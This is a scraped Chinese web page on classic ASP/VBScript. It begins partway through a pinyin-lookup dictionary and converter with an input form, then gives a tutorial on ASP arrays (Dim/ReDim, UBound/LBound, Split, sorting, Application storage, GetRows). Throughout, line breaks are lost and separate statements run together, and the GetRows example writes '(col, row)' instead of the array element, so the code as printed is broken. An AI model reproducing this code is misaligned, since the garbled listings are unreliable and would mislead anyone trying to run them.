"he",-17721d.add "hei",-17703d.add "hen",-17701d.add "heng",-17697d.add "hong",-17692d.add "hou",-17683d.add "hu",-17676d.add "hua",-17496d.add "huai",-17487d.add "huan",-17482d.add "huang",-17468d.add "hui",-17454d.add "hun",-17433d.add "huo",-17427d.add "ji",-17417d.add "jia",-17202d.add "jian",-17185d.add "jiang",-16983d.add "jiao",-16970d.add "jie",-16942d.add "jin",-16915d.add "jing",-16733d.add "jiong",-16708d.add "jiu",-16706d.add "ju",-16689d.add "juan",-16664d.add "jue",-16657d.add "jun",-16647d.add "ka",-16474d.add "kai",-16470d.add "kan",-16465d.add "kang",-16459d.add "kao",-16452d.add "ke",-16448d.add "ken",-16433d.add "keng",-16429d.add "kong",-16427d.add "kou",-16423d.add "ku",-16419d.add "kua",-16412d.add "kuai",-16407d.add "kuan",-16403d.add "kuang",-16401d.add "kui",-16393d.add "kun",-16220d.add "kuo",-16216d.add "la",-16212d.add "lai",-16205d.add "lan",-16202d.add "lang",-16187d.add "lao",-16180d.add "le",-16171d.add "lei",-16169d.add "leng",-16158d.add "li",-16155d.add "lia",-15959d.add "lian",-15958d.add "liang",-15944d.add "liao",-15933d.add "lie",-15920d.add "lin",-15915d.add "ling",-15903d.add "liu",-15889d.add "long",-15878d.add "lou",-15707d.add "lu",-15701d.add "lv",-15681d.add "luan",-15667d.add "lue",-15661d.add "lun",-15659d.add "luo",-15652d.add "ma",-15640d.add "mai",-15631d.add "man",-15625d.add "mang",-15454d.add "mao",-15448d.add "me",-15436d.add "mei",-15435d.add "men",-15419d.add "meng",-15416d.add "mi",-15408d.add "mian",-15394d.add "miao",-15385d.add "mie",-15377d.add "min",-15375d.add "ming",-15369d.add "miu",-15363d.add "mo",-15362d.add "mou",-15183d.add "mu",-15180d.add "na",-15165d.add "nai",-15158d.add "nan",-15153d.add "nang",-15150d.add "nao",-15149d.add "ne",-15144d.add "nei",-15143d.add "nen",-15141d.add "neng",-15140d.add "ni",-15139d.add "nian",-15128d.add "niang",-15121d.add "niao",-15119d.add "nie",-15117d.add "nin",-15110d.add "ning",-15109d.add "niu",-14941d.add "nong",-14937d.add "nu",-14933d.add "nv",-14930d.add "nuan",-14929d.add "nue",-14928d.add "nuo",-14926d.add "o",-14922d.add "ou",-14921d.add "pa",-14914d.add "pai",-14908d.add "pan",-14902d.add "pang",-14894d.add "pao",-14889d.add "pei",-14882d.add "pen",-14873d.add "peng",-14871d.add "pi",-14857d.add "pian",-14678d.add "piao",-14674d.add "pie",-14670d.add "pin",-14668d.add "ping",-14663d.add "po",-14654d.add "pu",-14645d.add "qi",-14630d.add "qia",-14594d.add "qian",-14429d.add "qiang",-14407d.add "qiao",-14399d.add "qie",-14384d.add "qin",-14379d.add "qing",-14368d.add "qiong",-14355d.add "qiu",-14353d.add "qu",-14345d.add "quan",-14170d.add "que",-14159d.add "qun",-14151d.add "ran",-14149d.add "rang",-14145d.add "rao",-14140d.add "re",-14137d.add "ren",-14135d.add "reng",-14125d.add "ri",-14123d.add "rong",-14122d.add "rou",-14112d.add "ru",-14109d.add "ruan",-14099d.add "rui",-14097d.add "run",-14094d.add "ruo",-14092d.add "sa",-14090d.add "sai",-14087d.add "san",-14083d.add "sang",-13917d.add "sao",-13914d.add "se",-13910d.add "sen",-13907d.add "seng",-13906d.add "sha",-13905d.add "shai",-13896d.add "shan",-13894d.add "shang",-13878d.add "shao",-13870d.add "she",-13859d.add "shen",-13847d.add "sheng",-13831d.add "shi",-13658d.add "shou",-13611d.add "shu",-13601d.add "shua",-13406d.add "shuai",-13404d.add "shuan",-13400d.add "shuang",-13398d.add "shui",-13395d.add "shun",-13391d.add "shuo",-13387d.add "si",-13383d.add "song",-13367d.add "sou",-13359d.add "su",-13356d.add "suan",-13343d.add "sui",-13340d.add "sun",-13329d.add "suo",-13326d.add "ta",-13318d.add "tai",-13147d.add "tan",-13138d.add "tang",-13120d.add "tao",-13107d.add "te",-13096d.add "teng",-13095d.add "ti",-13091d.add "tian",-13076d.add "tiao",-13068d.add "tie",-13063d.add "ting",-13060d.add "tong",-12888d.add "tou",-12875d.add "tu",-12871d.add "tuan",-12860d.add "tui",-12858d.add "tun",-12852d.add "tuo",-12849d.add "wa",-12838d.add "wai",-12831d.add "wan",-12829d.add "wang",-12812d.add "wei",-12802d.add "wen",-12607d.add "weng",-12597d.add "wo",-12594d.add "wu",-12585d.add "xi",-12556d.add "xia",-12359d.add "xian",-12346d.add "xiang",-12320d.add "xiao",-12300d.add "xie",-12120d.add "xin",-12099d.add "xing",-12089d.add "xiong",-12074d.add "xiu",-12067d.add "xu",-12058d.add "xuan",-12039d.add "xue",-11867d.add "xun",-11861d.add "ya",-11847d.add "yan",-11831d.add "yang",-11798d.add "yao",-11781d.add "ye",-11604d.add "yi",-11589d.add "yin",-11536d.add "ying",-11358d.add "yo",-11340d.add "yong",-11339d.add "you",-11324d.add "yu",-11303d.add "yuan",-11097d.add "yue",-11077d.add "yun",-11067d.add "za",-11055d.add "zai",-11052d.add "zan",-11045d.add "zang",-11041d.add "zao",-11038d.add "ze",-11024d.add "zei",-11020d.add "zen",-11019d.add "zeng",-11018d.add "zha",-11014d.add "zhai",-10838d.add "zhan",-10832d.add "zhang",-10815d.add "zhao",-10800d.add "zhe",-10790d.add "zhen",-10780d.add "zheng",-10764d.add "zhi",-10587d.add "zhong",-10544d.add "zhou",-10533d.add "zhu",-10519d.add "zhua",-10331d.add "zhuai",-10329d.add "zhuan",-10328d.add "zhuang",-10322d.add "zhui",-10315d.add "zhun",-10309d.add "zhuo",-10307d.add "zi",-10296d.add "zong",-10281d.add "zou",-10274d.add "zu",-10270d.add "zuan",-10262d.add "zui",-10260d.add "zun",-10256d.add "zuo",-10254 function g(num)if num>0 and num<160 theng=chr(num)else if num<-20319 or num>-10247 theng=""elsea=d.Itemsb=d.keysfor i=d.count-1 to 0 step -1if a(i)<=num then exit fornextg=b(i)end ifend ifend functionfunction c(str)c=""for i=1 to len(str)c=c&g(asc(mid(str,i,1)))nextend function response.write c(request("hz"))%><form method=post>请在此处输入中文:<input name=hz></form>

asp中数组用法

A 定义数组 有两种方式:DIM和REDIM。 DIM定义的是固定个数、数据类型的数组;而REDIM则不同,它可以定义不同类型的数据,也可以定义个数并非固定的数据。比较下面几个例子。 都合法的例子: 程序代码 Dim myarray(5,2) Redim myarray(5,2) 前者错误而后者合法的例子: n=10 n=10 Dim myarray(n) Redim myarray(n,2)另外REDIM还可以定义未定类型的数组,如:Redim myarray(10)   B 数组个数 在以DIM或REDIM定义数组时指定的下标,表示的是访问该数组时所容许的最大下标,却不是该数组的个数。实际上,一维数组个数总是等于(最大下标+1),访问时是通过下标从0开始逐个访问的。 比如:Dim myarray(5) 定义的数组元素有6个,分别是:myarray(0)、myarray(1)、myarray(2)、myarray(3)、myarray(4)、myarray(5)。 再如:Redim thisarray(2,5)实际上定义了一个(2+1)*(5+1)=1 8的二维数组。 既然如此,那么,可不可义定义一个只有一个元素的数组呢?答案是:不可以。 如前所说,Redim thisarray(1)定义的数组实际上有(1+1)个数组元素,但类似于: Redim thisarray(0)的语法,错误的。所以,不能定义一个只有一个数组元素的数组。 其实,以上说的只是其默认状况。其实,定义数组可以通过定义下标的起止从而达到定义数组的个数甚至下标的起止编号的。比如:Redim thisarray(1980 to1990)就 定义了一个含有11个元素的数组,下标从1980到1990。   C 关于UBOUND函数 UBOUND返回的是一维数组的最大下标,而不是元素个数。 比如:Dim Myarray(5),那么UBOUND(Myarray)返回的值是5,而不是6。 UBOUND也可以应用于二维数组。应用于二维数组时,它返回的是第一个下标的最大值。 比如:Dim Myarray(6,3), 那么UBOUND(Myarray)返回的值是6,而不是7,更不是18(6*3=18)。 若要返回第二个下标的最大值,则使用:UBOUND(Myarray,2)。 与UBOUND相对应的是另外一个函数:LBOUND,它返回数组的最小下标。与UBOUND类似,LBOUND(Myarray,2)则返回数组MYARRAY的第二个下标的最小值。所以,准确地说,一维数组Myarray的元素个数为:UBOUND(Myarray)-LBOUND(Myarray)+1,而二维数组的元素个数则为: (UBOUND(Myarray)-LBOUND(Myarray)+1)*(UBOUND(Myarray,2)-LBOUND(Myarray,2)+1) 多维数组依此类推。 数组的定义 程序代码 Dim MyArrayMyArray = Array(1,5,123,12,98)   可扩展数组 程序代码 Dim MyArray()for i = 0 to 10ReDim Preserve MyArray(i)MyArray(i)=inext   将一个字符串分割并返回分割结果的数组 程序代码 Dim MyArrayMyArray = Split(tempcnt,chr(13)&chr(10))For I = Lbound(MyArray) to Ubound(MyArray)Response.Write MyArray(I) & "<br>"Next   数组排序函数 程序代码 Function Sort(ary)KeepChecking = TRUEDo Until KeepChecking = FALSEKeepChecking = FALSEFor I = 0 to UBound(ary)If I = UBound(ary) Then Exit ForIf ary(I) > ary(I+1) ThenFirstValue = ary(I)SecondValue = ary(I+1)ary(I) = SecondValueary(I+1) = FirstValueKeepChecking = TRUEEnd IfNextLoopSort = aryEnd Function   数组排序函数应用例子 程序代码 Dim MyArrayMyArray = Array(1,5,123,12,98)MyArray = Sort(MyArray)For I = Lbound(MyArray) to Ubound(MyArray)Response.Write MyArray(I) & "<br>"Next   在Application和Session中使用数组 程序代码 Application.LockApplication("StoredArray") = MyArrayApplication.Unlock LocalArray = Application("StoredArray")   覆盖Application中的数组 程序代码 Application.LockApplication("StoredArray") = LocalArrayApplication.Unlock   Session使用方法与Application相同 从数据库中把数据导入数组中   程序代码 Dim MyArray取出全部记录MyArray = RS.GetRows取出前10项记录MyArray = RS.GetRows(10) For row = 0 To UBound(MyArray, 2)For col = 0 To UBound(MyArray, 1)Response.Write (col, row) & "<br>"NextNext